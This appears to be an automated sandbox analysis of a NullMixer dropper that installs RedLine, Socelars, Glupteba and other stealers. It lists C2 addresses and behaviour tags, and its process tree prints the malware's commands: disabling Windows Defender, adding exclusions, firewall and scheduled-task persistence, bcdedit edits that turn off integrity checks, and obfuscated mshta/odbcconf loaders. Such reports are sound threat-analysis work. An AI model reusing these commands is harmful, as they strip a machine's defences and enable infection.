Overview

overview

10

Static

static

3

604cb7570b...7f.exe

windows7-x64

10

604cb7570b...7f.exe

windows10-2004-x64

10

setup_installer.exe

windows7-x64

10

setup_installer.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    21-12-2024 20:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    setup_installer.exe

  • Size

    11.1MB

  • MD5

    532d84cb3e0928c7bedc0a89611837da

  • SHA1

    b7dec859275a299e9c95833be01b055b2f9b91d7

  • SHA256

    9aca2b6f263e24f8161def69b0e8a3a8dbc60bf46ee75714531e7ca09e4e9616

  • SHA512

    c80f46401569b3c20eeeb7225f688e99dc94a70a8caf7200141069c3b43c8df7d4b9846174a22e05a50bd775ebe7342f1f0774b3cf1213f3535ee936e7d85366

  • SSDEEP

    196608:xuLUCgv53pvKiW5+uVS9iCvZ5orwTwLo5N6JPnNdMFxRafcNGm:xWdgvdRlW5+uw9i8Z5orw95QJeRakNGm

Score
10/10
fabookiegluptebametasploitnullmixerprivateloaderredlinesocelarsmedia24nuser01newaspackv2backdoordefense_evasiondiscoverydropperevasionexecutioninfostealerloaderpersistenceprivilege_escalationrootkitspywarestealertrojan

Malware Config

Extracted

Family

socelars

C2

http://www.ecgbg.com/

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

redline

Botnet

media24n

C2

65.108.69.168:16278

Attributes
  • auth_value

    974a29515e2d9ecc1d4074dfd56dd32b

Extracted

Family

redline

Botnet

user01new

C2

49.12.219.50:4846

Attributes
  • auth_value

    fcca1ed5af8553053dc74a4c6a9ce601

Signatures

  • Detect Fabookie payload 1 IoCs
  • Fabookie

    Fabookie is facebook account info stealer.

    spywarestealerfabookie
  • Fabookie family
    fabookie
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • Glupteba family
    glupteba
  • Glupteba payload 2 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

    trojanbackdoormetasploit
  • Metasploit family
    metasploit
  • NullMixer

    NullMixer is a malware dropper leading to an infection chain of a wide variety of malware families.

    droppernullmixer
  • Nullmixer family
    nullmixer
  • PrivateLoader

    PrivateLoader is a downloader sold as a pay-per-install malware distribution service.

    loaderprivateloader
  • Privateloader family
    privateloader
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • Redline family
    redline
  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

    stealersocelars
  • Socelars family
    socelars
  • Socelars payload 1 IoCs
  • Windows security bypass 2 TTPs 10 IoCs
    evasiontrojan
  • Modifies boot configuration data using bcdedit 14 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

    evasion
  • ASPack v2.12-2.42 3 IoCs

    Detects executables packed with ASPack v2.12-2.42

    aspackv2
  • Executes dropped EXE 37 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • System Binary Proxy Execution: Odbcconf 1 TTPs 1 IoCs

    Abuse Odbcconf to proxy execution of malicious code.

    defense_evasion
  • Windows security modification 2 TTPs 10 IoCs
    evasiontrojan
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 8 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Looks up geolocation information via web service

    Uses a legitimate geolocation service to find the infected system's geolocation info.

  • Manipulates WinMon driver. 1 IoCs

    Roottkits write to WinMon to hide PIDs from being detected.

    rootkitevasion
  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Suspicious use of SetThreadContext 2 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 13 IoCs
  • Drops file in Windows directory 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 62 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Kills process with taskkill 2 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 10 IoCs
    evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
    "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
    1⤵
    • Loads dropped DLL
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2604
    • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\setup_install.exe
      "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\setup_install.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2792
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1028
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2988
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2680
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed10a0affb29d.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2696
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10a0affb29d.exe
          Wed10a0affb29d.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:336
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed101f2195049.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2460
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed101f2195049.exe
          Wed101f2195049.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1576
          • C:\Users\Admin\AppData\Local\Temp\is-HP96V.tmp\Wed101f2195049.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-HP96V.tmp\Wed101f2195049.tmp" /SL5="$70158,140047,56320,C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed101f2195049.exe"
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:2384
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed10b607271059cb7.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1792
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10b607271059cb7.exe
          Wed10b607271059cb7.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2884
          • C:\Users\Admin\AppData\Local\Temp\is-3M5GC.tmp\Wed10b607271059cb7.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-3M5GC.tmp\Wed10b607271059cb7.tmp" /SL5="$30174,1104945,831488,C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10b607271059cb7.exe"
            5⤵
            • Executes dropped EXE
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            PID:1756
            • C:\Program Files (x86)\Gparted\Build.sfx.exe
              "C:\Program Files (x86)\Gparted\Build.sfx.exe" -p123 -s1
              6⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • System Location Discovery: System Language Discovery
              PID:1816
              • C:\Program Files (x86)\Gparted\Build.exe
                "C:\Program Files (x86)\Gparted\Build.exe"
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2808
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.google.com
                  8⤵
                  • Drops file in Program Files directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:264
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.bing.com
                  8⤵
                  • Drops file in Program Files directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1180
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Test-Connection www.yahoo.com
                  8⤵
                  • Drops file in Program Files directory
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  PID:392
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 2808 -s 1668
                  8⤵
                  • Program crash
                  PID:2660
            • C:\Program Files (x86)\Gparted\gimagex.exe
              "C:\Program Files (x86)\Gparted\gimagex.exe"
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: GetForegroundWindowSpam
              PID:2476
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed10fa57e769925f6.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:2572
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10fa57e769925f6.exe
          Wed10fa57e769925f6.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2660
          • C:\Users\Admin\AppData\Local\Temp\is-0VHAO.tmp\Wed10fa57e769925f6.tmp
            "C:\Users\Admin\AppData\Local\Temp\is-0VHAO.tmp\Wed10fa57e769925f6.tmp" /SL5="$30208,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10fa57e769925f6.exe"
            5⤵
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:684
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10fa57e769925f6.exe
              "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10fa57e769925f6.exe" /SILENT
              6⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:904
              • C:\Users\Admin\AppData\Local\Temp\is-2DVB9.tmp\Wed10fa57e769925f6.tmp
                "C:\Users\Admin\AppData\Local\Temp\is-2DVB9.tmp\Wed10fa57e769925f6.tmp" /SL5="$50196,140785,56832,C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10fa57e769925f6.exe" /SILENT
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: GetForegroundWindowSpam
                PID:2472
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed103b2f384c2a.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1092
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed103b2f384c2a.exe
          Wed103b2f384c2a.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1292
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c taskkill /f /im chrome.exe
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2336
            • C:\Windows\SysWOW64\taskkill.exe
              taskkill /f /im chrome.exe
              6⤵
              • System Location Discovery: System Language Discovery
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2732
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed10d7483856.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:1696
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10d7483856.exe
          Wed10d7483856.exe
          4⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:2520
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed106168c8ce90b57b8.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3032
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
          Wed106168c8ce90b57b8.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          PID:2920
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            5⤵
            • Executes dropped EXE
            PID:756
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            5⤵
            • Executes dropped EXE
            PID:480
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            5⤵
            • Executes dropped EXE
            PID:2368
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            5⤵
            • Executes dropped EXE
            PID:3052
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed106168c8ce90b57b8.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1196
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c Wed1095e8d3cef4ec773.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        PID:3036
        • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed1095e8d3cef4ec773.exe
          Wed1095e8d3cef4ec773.exe
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2568
          • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed1095e8d3cef4ec773.exe
            "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed1095e8d3cef4ec773.exe"
            5⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Adds Run key to start application
            • Checks for VirtualBox DLLs, possible anti-VM trick
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:2456
            • C:\Windows\system32\cmd.exe
              C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
              6⤵
                PID:1128
                • C:\Windows\system32\netsh.exe
                  netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                  7⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  • Modifies data under HKEY_USERS
                  PID:808
              • C:\Windows\rss\csrss.exe
                C:\Windows\rss\csrss.exe /306-306
                6⤵
                • Drops file in Drivers directory
                • Executes dropped EXE
                • Manipulates WinMon driver.
                • Manipulates WinMonFS driver.
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                • Modifies system certificate store
                • Suspicious behavior: EnumeratesProcesses
                PID:2736
                • C:\Windows\system32\schtasks.exe
                  schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                  7⤵
                  • Scheduled Task/Job: Scheduled Task
                  PID:1492
                • C:\Windows\system32\schtasks.exe
                  schtasks /delete /tn ScheduledUpdate /f
                  7⤵
                    PID:2356
                  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                    "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                    7⤵
                    • Executes dropped EXE
                    • Modifies system certificate store
                    PID:2548
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:492
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1084
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2148
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1836
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2140
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2184
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2212
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2388
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2068
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2664
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:376
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -timeout 0
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:1776
                    • C:\Windows\system32\bcdedit.exe
                      C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                      8⤵
                      • Modifies boot configuration data using bcdedit
                      PID:2872
                  • C:\Windows\system32\bcdedit.exe
                    C:\Windows\Sysnative\bcdedit.exe /v
                    7⤵
                    • Modifies boot configuration data using bcdedit
                    PID:2208
                  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                    7⤵
                    • Executes dropped EXE
                    PID:792
                  • C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe
                    C:\Users\Admin\AppData\Local\Temp\csrss\injector\injector.exe taskmgr.exe C:\Users\Admin\AppData\Local\Temp\csrss\injector\NtQuerySystemInformationHook.dll
                    7⤵
                    • Executes dropped EXE
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1328
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed1001440e7e09.exe /mixtwo
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2304
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed1001440e7e09.exe
              Wed1001440e7e09.exe /mixtwo
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1128
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed109189c07b.exe
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:588
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed109189c07b.exe
              Wed109189c07b.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              PID:952
              • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed109189c07b.exe
                C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed109189c07b.exe
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2040
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed10eb606bd1d021d.exe
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1492
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10eb606bd1d021d.exe
              Wed10eb606bd1d021d.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:1860
              • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10eb606bd1d021d.exe
                "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10eb606bd1d021d.exe" -u
                5⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:1140
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed10a80f141fb08.exe
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:3028
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10a80f141fb08.exe
              Wed10a80f141fb08.exe
              4⤵
              • Executes dropped EXE
              PID:2560
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed10799545d143108.exe
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:1684
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10799545d143108.exe
              Wed10799545d143108.exe
              4⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              PID:2776
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /c Wed10520e75c2eb.exe
            3⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:2748
            • C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10520e75c2eb.exe
              Wed10520e75c2eb.exe
              4⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • System Location Discovery: System Language Discovery
              PID:2536
              • C:\Windows\SysWOW64\mshta.exe
                "C:\Windows\System32\mshta.exe" VBsCRiPT: CloSe ( CREaTeObjEcT ( "WsCrIPT.sheLl"). rUN ( "C:\Windows\system32\cmd.exe /q /c COPy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10520e75c2eb.exe"" ..\r3AxJr.EXE && StArt ..\r3AXJr.ExE /p0HZ0v12j8OSomYiesvSh7Gq & if """" == """" for %J IN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10520e75c2eb.exe"" ) do taskkill -Im ""%~nxJ"" /f " , 0 , TRue ) )
                5⤵
                • System Location Discovery: System Language Discovery
                PID:1784
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\system32\cmd.exe" /q /c COPy /y "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10520e75c2eb.exe" ..\r3AxJr.EXE && StArt ..\r3AXJr.ExE /p0HZ0v12j8OSomYiesvSh7Gq & if "" == "" for %J IN ( "C:\Users\Admin\AppData\Local\Temp\7zSC2A660A6\Wed10520e75c2eb.exe" ) do taskkill -Im "%~nxJ" /f
                  6⤵
                  • System Location Discovery: System Language Discovery
                  PID:2128
                  • C:\Users\Admin\AppData\Local\Temp\r3AxJr.EXE
                    ..\r3AXJr.ExE /p0HZ0v12j8OSomYiesvSh7Gq
                    7⤵
                    • Executes dropped EXE
                    • System Location Discovery: System Language Discovery
                    PID:1940
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" VBsCRiPT: CloSe ( CREaTeObjEcT ( "WsCrIPT.sheLl"). rUN ( "C:\Windows\system32\cmd.exe /q /c COPy /y ""C:\Users\Admin\AppData\Local\Temp\r3AxJr.EXE"" ..\r3AxJr.EXE && StArt ..\r3AXJr.ExE /p0HZ0v12j8OSomYiesvSh7Gq & if ""/p0HZ0v12j8OSomYiesvSh7Gq "" == """" for %J IN ( ""C:\Users\Admin\AppData\Local\Temp\r3AxJr.EXE"" ) do taskkill -Im ""%~nxJ"" /f " , 0 , TRue ) )
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Modifies Internet Explorer settings
                      PID:1632
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /q /c COPy /y "C:\Users\Admin\AppData\Local\Temp\r3AxJr.EXE" ..\r3AxJr.EXE && StArt ..\r3AXJr.ExE /p0HZ0v12j8OSomYiesvSh7Gq & if "/p0HZ0v12j8OSomYiesvSh7Gq " == "" for %J IN ( "C:\Users\Admin\AppData\Local\Temp\r3AxJr.EXE" ) do taskkill -Im "%~nxJ" /f
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:2080
                    • C:\Windows\SysWOW64\mshta.exe
                      "C:\Windows\System32\mshta.exe" VBSCRipT: clOSE ( CreAteObjEcT ( "WscRIpT.shell" ). ruN ( "CMD.eXe /R Echo | SET /p = ""MZ"" > b01RrZ3N.ZT & CoPY /b /y B01RRZ3N.ZT + s4FCF.WN + YcQIVW._ ..\GOWX.SHv & starT odbcconf /A { rEgsvR ..\GOwX.SHv } & DEL /Q * ", 0 , True ) )
                      8⤵
                      • System Location Discovery: System Language Discovery
                      • Modifies Internet Explorer settings
                      PID:2904
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /R Echo | SET /p = "MZ" > b01RrZ3N.ZT & CoPY /b /y B01RRZ3N.ZT + s4FCF.WN + YcQIVW._ ..\GOWX.SHv & starT odbcconf /A {rEgsvR ..\GOwX.SHv } & DEL /Q *
                        9⤵
                        • System Location Discovery: System Language Discovery
                        PID:2604
                        • C:\Windows\SysWOW64\cmd.exe
                          C:\Windows\system32\cmd.exe /S /D /c" Echo "
                          10⤵
